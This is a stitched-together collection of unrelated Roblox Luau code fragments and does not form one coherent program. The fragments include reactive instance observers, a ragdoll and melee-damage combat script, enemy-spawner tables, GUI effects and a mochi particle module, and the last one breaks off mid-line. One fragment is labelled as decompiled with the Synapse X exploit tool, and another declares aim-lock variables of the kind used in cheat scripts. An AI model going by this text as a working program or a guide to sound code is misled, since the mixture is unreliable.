--[=[ Observes all descendants that match a predicate @param parent Instance @param predicate ((value: Instance) -> boolean)? -- Optional filter @return Observable<Instance, boolean> ]=]
function RxInstanceUtils.observeDescendants(parent, predicate) assert(typeof(parent) == "Instance", "Bad parent") assert(type(predicate) == "function" or predicate == nil, "Bad predicate") return Observable.new(function(sub) local maid = Maid.new() local added = {} local function handleDescendant(child) if not predicate or predicate(child) then added[child] = true sub:Fire(child, true) end end maid:GiveTask(parent.DescendantAdded:Connect(handleDescendant)) maid:GiveTask(parent.DescendantRemoving:Connect(function(child) if added[child] then added[child] = nil sub:Fire(child, false) end end)) for _, descendant in pairs(parent:GetDescendants()) do handleDescendant(descendant) end return maid end) end
--[=[ @tag Component Instance @param componentClass ComponentClass @return Component? Retrieves another component instance bound to the same Roblox instance. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) local AnotherComponent = require(somewhere.AnotherComponent) function MyComponent:Start() local another = self:GetComponent(AnotherComponent) end ``` ]=]
function Component:GetComponent(componentClass) return componentClass[KEY_INST_TO_COMPONENTS][self.Instance] end
--[[ Allows creation of expectation statements designed for behavior-driven testing (BDD). See Chai (JS) or RSpec (Ruby) for examples of other BDD frameworks. The Expectation class is exposed to tests as a function called `expect`: expect(5).to.equal(5) expect(foo()).to.be.ok() Expectations can be negated using .never: expect(true).never.to.equal(false) Expectations throw errors when their conditions are not met. ]]
local Expectation = {}
-- How many times per second the gun can fire
local FireRate = 5 / 30
-- Decompiled with the Synapse X Luau decompiler.
local l__Gas__1 = game.Players.LocalPlayer:WaitForChild("Data"):WaitForChild("Gas"); local l__TweenService__1 = game:GetService("TweenService"); local l__Parent__2 = script.Parent; l__Gas__1.Changed:Connect(function() l__TweenService__1:Create(l__Parent__2, TweenInfo.new(0.3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0), { BackgroundTransparency = l__Gas__1.Value / 1 }):Play(); end);
------------------------------------------------------------------
local LockGui = nil local AimGui = nil local TargetPlayer = nil local Locked = false local Targeting = false
--[=[ Observes the parent of the instance as long as it exists. This is very common when initializing parent interfaces or other behaviors using binders. @param instance Instance @return Observable<Brio<Instance>> ]=]
function RxInstanceUtils.observeParentBrio(instance) return RxInstanceUtils.observePropertyBrio(instance, "Parent", function(parent) return parent ~= nil end) end
--
function ragdollkill(character) local victimshumanoid = character:findFirstChildOfClass("Humanoid") local checkragd = character:findFirstChild("ragded") if not checkragd then local boolvalue = Instance.new("BoolValue", character) boolvalue.Name = "ragded" if not character:findFirstChild("UpperTorso") then character.Archivable = true for i,v in pairs(character:GetChildren()) do if v.ClassName == "Sound" then v:remove() end for q,w in pairs(v:GetChildren()) do if w.ClassName == "Sound" then w:remove() end end end local ragdoll = character:Clone() for i,v in pairs(ragdoll:GetDescendants()) do if v.ClassName == "Motor" or v.ClassName == "Motor6D" then v:destroy() end end ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false ragdoll:findFirstChildOfClass("Humanoid").Health = 0 if ragdoll:findFirstChild("Health") then if ragdoll:findFirstChild("Health").ClassName == "Script" then ragdoll:findFirstChild("Health").Disabled = true end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" then v:destroy() end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(character:GetChildren()) do if w.ClassName == "Part" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end ragdoll.Parent = workspace if ragdoll:findFirstChild("Right Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Arm") glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider.Name = "LimbCollider" local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Left Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Arm") glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Left Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Leg") glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Right Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Leg") glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Head") and ragdoll.Torso:findFirstChild("NeckAttachment") then local HeadAttachment = Instance.new("Attachment", ragdoll["Head"]) HeadAttachment.Position = Vector3.new(0, -0.5, 0) local connection = Instance.new('HingeConstraint', ragdoll["Head"]) connection.LimitsEnabled = true connection.Attachment0 = ragdoll.Torso.NeckAttachment connection.Attachment1 = HeadAttachment connection.UpperAngle = 60 connection.LowerAngle = -60 elseif ragdoll:findFirstChild("Head") and not ragdoll.Torso:findFirstChild("NeckAttachment") then local hedweld = Instance.new("Weld", ragdoll.Torso) hedweld.Part0 = ragdoll.Torso hedweld.Part1 = ragdoll.Head hedweld.C0 = CFrame.new(0,1.5,0) end game.Debris:AddItem(ragdoll, 30) local function aaaalol() wait(0.2) local function searchforvelocity(wot) for i,v in pairs(wot:GetChildren()) do searchforvelocity(v) if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then v:destroy() end end end searchforvelocity(ragdoll) wait(0.5) if ragdoll:findFirstChildOfClass("Humanoid") then ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true end if ragdoll:findFirstChild("HumanoidRootPart") then ragdoll:findFirstChild("HumanoidRootPart"):destroy() end end spawn(aaaalol) elseif character:findFirstChild("UpperTorso") then character.Archivable = true for i,v in pairs(character:GetChildren()) do if v.ClassName == "Sound" then v:remove() end for q,w in pairs(v:GetChildren()) do if w.ClassName == "Sound" then w:remove() end end end local ragdoll = character:Clone() ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false for i,v in pairs(ragdoll:GetDescendants()) do if v.ClassName == "Motor" or v.ClassName == "Motor6D" then v:destroy() end end ragdoll:BreakJoints() ragdoll:findFirstChildOfClass("Humanoid").Health = 0 if ragdoll:findFirstChild("Health") then if ragdoll:findFirstChild("Health").ClassName == "Script" then ragdoll:findFirstChild("Health").Disabled = true end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" or v.ClassName == "MeshPart" then v:destroy() end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(character:GetChildren()) do if w.ClassName == "Part" or w.ClassName == "MeshPart" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end ragdoll.Parent = workspace local Humanoid = ragdoll:findFirstChildOfClass("Humanoid") Humanoid.PlatformStand = true local function makeballconnections(limb, attachementone, attachmenttwo, twistlower, twistupper) local connection = Instance.new('BallSocketConstraint', limb) connection.LimitsEnabled = true connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.TwistLimitsEnabled = true connection.TwistLowerAngle = twistlower connection.TwistUpperAngle = twistupper local limbcollider = Instance.new("Part", limb) limbcollider.Size = Vector3.new(0.1,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider:BreakJoints() local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = limb limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) end local function makehingeconnections(limb, attachementone, attachmenttwo, lower, upper) local connection = Instance.new('HingeConstraint', limb) connection.LimitsEnabled = true connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.LimitsEnabled = true connection.LowerAngle = lower connection.UpperAngle = upper local limbcollider = Instance.new("Part", limb) limbcollider.Size = Vector3.new(0.1,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider:BreakJoints() local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = limb limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) end local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head) HeadAttachment.Position = Vector3.new(0, -0.5, 0) if ragdoll.UpperTorso:findFirstChild("NeckAttachment") then makehingeconnections(Humanoid.Parent.Head, HeadAttachment, ragdoll.UpperTorso.NeckAttachment, -50, 50) end makehingeconnections(Humanoid.Parent.LowerTorso, Humanoid.Parent.LowerTorso.WaistRigAttachment, Humanoid.Parent.UpperTorso.WaistRigAttachment, -50, 50) makeballconnections(Humanoid.Parent.LeftUpperArm, Humanoid.Parent.LeftUpperArm.LeftShoulderRigAttachment, Humanoid.Parent.UpperTorso.LeftShoulderRigAttachment, -200, 200, 180) makehingeconnections(Humanoid.Parent.LeftLowerArm, Humanoid.Parent.LeftLowerArm.LeftElbowRigAttachment, Humanoid.Parent.LeftUpperArm.LeftElbowRigAttachment, 0, -60) makehingeconnections(Humanoid.Parent.LeftHand, Humanoid.Parent.LeftHand.LeftWristRigAttachment, Humanoid.Parent.LeftLowerArm.LeftWristRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.RightUpperArm, Humanoid.Parent.RightUpperArm.RightShoulderRigAttachment, Humanoid.Parent.UpperTorso.RightShoulderRigAttachment, -200, 200, 180) makehingeconnections(Humanoid.Parent.RightLowerArm, Humanoid.Parent.RightLowerArm.RightElbowRigAttachment, Humanoid.Parent.RightUpperArm.RightElbowRigAttachment, 0, -60) makehingeconnections(Humanoid.Parent.RightHand, Humanoid.Parent.RightHand.RightWristRigAttachment, Humanoid.Parent.RightLowerArm.RightWristRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.RightUpperLeg, Humanoid.Parent.RightUpperLeg.RightHipRigAttachment, Humanoid.Parent.LowerTorso.RightHipRigAttachment, -80, 80, 80) makehingeconnections(Humanoid.Parent.RightLowerLeg, Humanoid.Parent.RightLowerLeg.RightKneeRigAttachment, Humanoid.Parent.RightUpperLeg.RightKneeRigAttachment, 0, 60) makehingeconnections(Humanoid.Parent.RightFoot, Humanoid.Parent.RightFoot.RightAnkleRigAttachment, Humanoid.Parent.RightLowerLeg.RightAnkleRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.LeftUpperLeg, Humanoid.Parent.LeftUpperLeg.LeftHipRigAttachment, Humanoid.Parent.LowerTorso.LeftHipRigAttachment, -80, 80, 80) makehingeconnections(Humanoid.Parent.LeftLowerLeg, Humanoid.Parent.LeftLowerLeg.LeftKneeRigAttachment, Humanoid.Parent.LeftUpperLeg.LeftKneeRigAttachment, 0, 60) makehingeconnections(Humanoid.Parent.LeftFoot, Humanoid.Parent.LeftFoot.LeftAnkleRigAttachment, Humanoid.Parent.LeftLowerLeg.LeftAnkleRigAttachment, -20, 20) for i,v in pairs(Humanoid.Parent:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(Humanoid.Parent:GetChildren()) do if w.ClassName == "Part" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end for i,v in pairs(ragdoll:GetChildren()) do for q,w in pairs(v:GetChildren()) do if w.ClassName == "Motor6D"--[[ and w.Name ~= "Neck"--]] and w.Name ~= "ouch_weld" then w:destroy() end end end if ragdoll:findFirstChild("HumanoidRootPart") then ragdoll.HumanoidRootPart:destroy() end if ragdoll:findFirstChildOfClass("Humanoid") then ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true end local function waitfordatmoment() wait(0.2) local function searchforvelocity(wot) for i,v in pairs(wot:GetChildren()) do searchforvelocity(v) if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then v:destroy() end end end searchforvelocity(ragdoll) end spawn(waitfordatmoment) game.Debris:AddItem(ragdoll, 30) end end end function damage(what, action, t, range) for i,v in pairs(workspace:GetDescendants()) do if v.ClassName == "Model" then local head = v:findFirstChild("Head") local humanoid = v:findFirstChildOfClass("Humanoid") local torso = v:findFirstChild("Torso") local ragdolled = v:findFirstChild("ragdolledpunch") if humanoid and head then if (head.Position - what.Position).magnitude < range and v ~= character and humanoid.Health > 0 then if action ~= "stomp" then if ragdolled then return end end local ragdolledpunch = Instance.new("BoolValue", v) ragdolledpunch.Name = "ragdolledpunch" game.Debris:AddItem(ragdolledpunch, t) if action == "punch" then local velocity = Instance.new("BodyVelocity", head) velocity.MaxForce = Vector3.new(math.huge,0,math.huge) velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * math.random(5,15) punchsound.PlaybackSpeed = 1+(math.random(-5,5)/15) punchsound:Play() game.Debris:AddItem(velocity, 0.2) elseif action == "uppercut" then local velocity = Instance.new("BodyVelocity", head) velocity.MaxForce = Vector3.new(math.huge,math.huge,math.huge) velocity.Velocity = (character.HumanoidRootPart.CFrame.upVector * math.random(5,15)) + (character.HumanoidRootPart.CFrame.lookVector * math.random(5,15)) kicksound.PlaybackSpeed = 1+(math.random(-5,5)/15) kicksound:Play() game.Debris:AddItem(velocity, 0.2) elseif action == "kick" then local velocity = Instance.new("BodyVelocity", head) velocity.MaxForce = Vector3.new(math.huge,0,math.huge) velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * 20 goresound.PlaybackSpeed = 1+(math.random(-5,5)/15) goresound:Play() game.Debris:AddItem(velocity, 0.2) elseif action == "dropkick" then local velocity = Instance.new("BodyVelocity", head) velocity.MaxForce = Vector3.new(math.huge,0,math.huge) velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * 30 kicksound.PlaybackSpeed = 1+(math.random(-5,5)/15) kicksound:Play() goresound.PlaybackSpeed = 1+(math.random(-5,5)/15) goresound:Play() game.Debris:AddItem(velocity, 0.2) elseif action == "stomp" then punchsound.PlaybackSpeed = 1+(math.random(-5,5)/15) punchsound:Play() end if action ~= "blocked" then local dmg = math.random(30,50) if action == "uppercut" then dmg = dmg + math.random(20,30) elseif action == "kick" then dmg = dmg + math.random(40,50) elseif action == "dropkick" then dmg = dmg + math.random(50,90) end if humanoid.Health <= dmg then humanoid.Health = 0 ragdollkill(v) end humanoid.Health = humanoid.Health - dmg end if action ~= "blocked" and action ~= "uppercut" and action ~= "kick" and action ~= "dropkick" then if math.random(1,5) ~= 1 then return end end if action == "stomp" then return end humanoid.PlatformStand = true coroutine.wrap(function() wait(t) humanoid.PlatformStand = false end)() if torso then coroutine.wrap(function() humanoid = v:WaitForChild("Humanoid") local ragdoll = v if ragdoll:findFirstChild("Right Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Arm") glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider.Name = "LimbCollider" local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Right Shoulder") then local limbclone = ragdoll.Torso:findFirstChild("Right Shoulder"):Clone() ragdoll.Torso:findFirstChild("Right Shoulder"):destroy() coroutine.wrap(function() wait(t) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Right Arm"] end)() end wait(t) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Left Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Arm") glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Left Shoulder") then local limbclone = ragdoll.Torso:findFirstChild("Left Shoulder"):Clone() ragdoll.Torso:findFirstChild("Left Shoulder"):destroy() coroutine.wrap(function() wait(t) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Left Arm"] end)() end wait(t) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Left Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Leg") glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg")) limbcollider.Size = Vector3.new(1.5,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Left Hip") then local limbclone = ragdoll.Torso:findFirstChild("Left Hip"):Clone() ragdoll.Torso:findFirstChild("Left Hip"):destroy() coroutine.wrap(function() wait(t) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Left Leg"] end)() end wait(t) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Right Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Leg") glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg")) limbcollider.Size = Vector3.new(1.5,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Right Hip") then local limbclone = ragdoll.Torso:findFirstChild("Right Hip"):Clone() ragdoll.Torso:findFirstChild("Right Hip"):destroy() coroutine.wrap(function() wait(t) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Right Leg"] end)() end wait(t) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end end)() end end end end end end
-- Determines which spawners will actively spawn enemies based off the waypoint (attachments in Workspace.TrackParts), the cart is currently at
local EnemySpawning = {} local waypoints = {} waypoints[1] = { "Spawner1", "Spawner2", "Spawner6", "Spawner7" } waypoints[2] = { "Spawner2", "Spawner3", "Spawner4", "Spawner5" } waypoints[3] = { "Spawner2", "Spawner5", "Spawner6", "Spawner7" } waypoints[4] = { "Spawner2", "Spawner3", "Spawner5", "Spawner6", "Spawner7" } waypoints[5] = {} waypoints[6] = { "Spawner8", "Spawner9", "Spawner12", "Spawner17" } waypoints[7] = { "Spawner10", "Spawner11", "Spawner12", "Spawner17" } waypoints[8] = { "Spawner10", "Spawner11", "Spawner13", "Spawner14" } waypoints[9] = { "Spawner8", "Spawner10", "Spawner12", "Spawner14" } waypoints[10] = { "Spawner8", "Spawner9", "Spawner11", "Spawner14" } waypoints[11] = { "Spawner15", "Spawner16", "Spawner18", "Spawner13"} waypoints[12] = { "Spawner15", "Spawner16", "Spawner19", "Spawner20" } EnemySpawning.waypoints = waypoints return EnemySpawning
-- place this script under the gui object you want to rotate and use the rotation and speed value to change the rotation (degrees) and speed (seconds for full loop)
local RunService = game:GetService("RunService") function slerp(a,b,x) return a*(((1+(math.cos(x*math.pi)))/2)) + b*(((1-(math.cos(x*math.pi)))/2)) end local object = script.Parent local count = 0.0 local rotation = object.Rotation RunService.Heartbeat:Connect(function(step) count += step / script.speed.Value * 2 if step <= 1 then object.Rotation = slerp(-script.rotation.Value,script.rotation.Value,count)+rotation else if step <= 2 then object.Rotation = slerp(script.rotation.Value,-script.rotation.Value,count)+rotation else count = 0 end end end)
--- Takes an array of arguments and a max value. -- Any indicies past the max value will be appended to the last valid argument.
function Util.MashExcessArguments(arguments, max) local t = {} for i = 1, #arguments do if i > max then t[max] = ("%s %s"):format(t[max] or "", arguments[i]) else t[i] = arguments[i] end end return t end
-- Replica signals:
rev_ReplicaSignal.OnClientEvent:Connect(function(replica_id, ...) -- (replica_id, params...) local replica = Replicas[replica_id] -- Signaling listeners: local listeners = replica._signal_listeners for _, listener in ipairs(listeners) do listener(...) end end)
-- CACHE --
local cacheFolder if debrisFolder:FindFirstChild("Mochi") then cacheFolder = debrisFolder.Mochi else cacheFolder = Instance.new("Folder") cacheFolder.Name = "Mochi" cacheFolder.Parent = debrisFolder end local partCache = partCacheMod.new(RS.FX.Mochi.MochiBall, 300, cacheFolder) local function mochiExplosion(OriginPosition, OriginInstance) local amount = math.random(1, 2) local hitSFX = { RS.Sounds.Mochi.MochiFistHit1, RS.Sounds.Mochi.MochiFistHit2, } for sounds, sfx in pairs(hitSFX) do local clonedSFX = sfx:Clone() clonedSFX.Parent = OriginInstance clonedSFX:Play() game.Debris:AddItem(clonedSFX, 2) end for i = 1, amount do local mochiSize = Random.new():NextNumber(1, 3) local mochiPart = partCache:GetPart() --RS.FX.MochiDrip:Clone() mochiPart.Size = Vector3.new(mochiSize, mochiSize, mochiSize) mochiPart.CFrame = CFrame.new(OriginPosition) local rayCheck = CFrame.new(OriginPosition) * CFrame.new(Random.new():NextNumber(-30, 30), 15, Random.new():NextNumber(-30, 30)) local roofCheckRay = Ray.new(rayCheck.Position, Vector3.new(0, 50, 0)) local Rhit, Rvec2Pos, RsurfaceNormal = workspace:FindPartOnRayWithIgnoreList(roofCheckRay, {mochiPart, debrisFolder}) local ray local maxHeight if Rhit then maxHeight = (OriginPosition.Y - Rhit.Position.Y) ray = Ray.new(Vector3.new(rayCheck.Position.X, maxHeight - 1, rayCheck.Position.Z), Vector3.new(0, -1000, 0)) else maxHeight = 50 ray = Ray.new(rayCheck.Position, Vector3.new(0, -1000, 0)) end local hit, vec2Pos, surfaceNormal = workspace:FindPartOnRayWithIgnoreList(ray, {mochiPart, debrisFolder}) if hit then local endCF = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) local p0 = mochiPart.Position local p2 = endCF.Position local p1 = CFrame.new((p0 + p2) / 2) * CFrame.new(0, Random.new():NextNumber(maxHeight * 0.25, maxHeight), 0).Position local distance = (p0 - p2).Magnitude local speed = 40 local poolSize = Random.new():NextNumber(2, 4) mochiPart.Parent = debrisFolder local Tween = bezierTween.Create(mochiPart, { Waypoints = Waypoints.new(p0, p1, p2), EasingStyle = Enum.EasingStyle.Linear, EasingDirection = Enum.EasingDirection.In, Time = distance/speed }) Tween:Play() TS:Create(mochiPart, TweenInfo.new(distance/speed, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Color = Color3.fromRGB(255, 246, 208)}):Play() Tween.Completed:Connect(function() mochiPart.CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) TS:Create(mochiPart, TweenInfo.new(.18, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(poolSize * 2, 0.5, poolSize * 2)}):Play() task.delay(5, function() TS:Create(mochiPart, TweenInfo.new(.6, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(0,0,0)}):Play() --game.Debris:AddItem(mochiPart, .7) task.delay(.7, function() partCache:ReturnPart(mochiPart) end) end) end) else partCache:ReturnPart(mochiPart) end end end return function(HitboxPos, Character) local HRP = Character.HumanoidRootPart local mochiSize = Random.new():NextNumber(1, 2) local mochiPart = partCache:GetPart() mochiPart.Size = Vector3.new(mochiSize, mochiSize, mochiSize) local ray = Ray.new(HitboxPos + Vector3.new(0, 1, 0), Vector3.new(0, -50, 0)) local hit, vec2Pos, surfaceNormal = workspace:FindPartOnRayWithIgnoreList(ray, {mochiPart, debrisFolder, Character}) local angle = math.rad(math.random(360)) if hit then local endCF = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.Angles(0, angle, 0) local p0 = HRP.Position local p2 = endCF.Position local p1 = CFrame.new((p0 + p2) / 2) * CFrame.new(0, Random.new():NextNumber(25, 45), 0).Position local distance = (p0 - p2).Magnitude local speed = 100 local poolSize = Random.new():NextNumber(8, 14) mochiPart.Parent = debrisFolder local Tween = bezierTween.Create(mochiPart, { Waypoints = Waypoints.new(p0, p1, p2), EasingStyle = Enum.EasingStyle.Linear, EasingDirection = Enum.EasingDirection.In, Time = distance/speed }) Tween:Play() TS:Create(mochiPart, TweenInfo.new(distance/speed, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Color = Color3.fromRGB(255, 246, 208)}):Play() Tween.Completed:Connect(function() mochiPart.CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.Angles(0, angle, 0) --mochiPart.Transparency = 